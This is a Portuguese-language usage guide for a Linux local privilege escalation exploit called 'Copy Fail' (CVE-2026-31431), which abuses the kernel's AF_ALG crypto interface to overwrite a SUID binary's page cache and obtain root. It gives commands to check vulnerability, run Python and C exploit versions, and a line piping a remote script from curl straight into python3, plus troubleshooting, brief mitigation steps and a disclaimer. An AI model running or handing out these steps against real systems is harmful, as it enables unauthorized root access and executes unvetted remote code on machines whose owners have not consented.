Copy Fail (CVE-2026-31431) – Guia de Uso do Exploit

Readme Original retirado de @painoob

Todas as versões de Kernel desde 2017 / 2016 são vulneráveis ! Kernel 7 é totalmente imune, outras (entre 5-7 podem ainda ser vulneráveis)

⚠️ Aviso Legal

Este conteúdo é apenas para fins educacionais e de testes de segurança autorizados. NÃO execute isto em sistemas sem permissão explícita.

📌 Visão Geral

Copy Fail (CVE-2026-31431) é uma vulnerabilidade de Escalação de Privilégios Local (LPE) no Linux que afeta a API de criptografia do kernel via AF_ALG.

Permite que um usuário sem privilégios sobrescreva dados do page cache de um binário SUID (por exemplo, /usr/bin/su) e obtenha acesso root.

🧠 Requisitos

Requisitos de Sistema

• Kernel Linux (vulnerável – depende do status do patch)
• AF_ALG habilitado
• Módulo algif_aead carregado

Requisitos do Exploit em Python

• Python 3.10+
• Suporte para:
  • os.splice
  • socket(AF_ALG)

🔍 Verificando a Vulnerabilidade

uname -a
grep -i authencesn /proc/crypto
lsmod | grep alg

Indicadores esperados:

• authencesn(hmac(sha256),cbc(aes))
• algif_aead carregado

🐍 Executando o Exploit em Python

1. Executar diretamente

python3 copy_fail_exp.py

2. Ou via curl (se hospedado remotamente)

curl https://copy.fail/exp | python3

3. Acionar shell root

su
id

Resultado esperado:

uid=0(root)

⚠️ Problemas Comuns (Python)

❌ Erro: os.splice not found

Causa:

• Versão do Python < 3.10
• Build restrito

Solução:

• Use um binário Python mais recente
• Envie um interpretador Python estático

⚙️ Compilando a Versão em C

1. Compilar

gcc copy_fail_exp.c -o copy_fail

2. Tornar executável

chmod +x copy_fail

3. Executar o exploit

./copy_fail
su

⚠️ Problemas Comuns (C)

❌ O exploit executa mas não obtém root

Causas possíveis:

• Kernel corrigido
• Offsets incorretos
• Incompatibilidade de ambiente

❌ Erros de compilação

Instale as ferramentas necessárias:

apt update && apt install build-essential

🧪 Solução de Problemas

Verificar se o sistema está corrigido

dmesg | grep -i alg

Verificar o módulo

lsmod | grep algif_aead

🛡️ Mitigação

Desabilitar o módulo vulnerável

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead

Aplicar o patch do kernel

Atualize seu sistema:

apt update && apt upgrade

📌 Notas

• O exploit modifica apenas o page cache (não persistente)
• Requer acesso local
• Não é explorável remotamente por padrão

🧠 Consideração Final

Se o exploit falhar, considere:

• Kernel já corrigido
• Restrições de ambiente
• Vetores alternativos de escalação de privilégios (SUID, capabilities, configuração incorreta do sudo)

📚 Referências

• https://copy.fail/
• CVE-2026-31431

👨‍💻 Notas do Autor

Use este exploit com responsabilidade apenas em laboratórios, CTFs e pentests autorizados.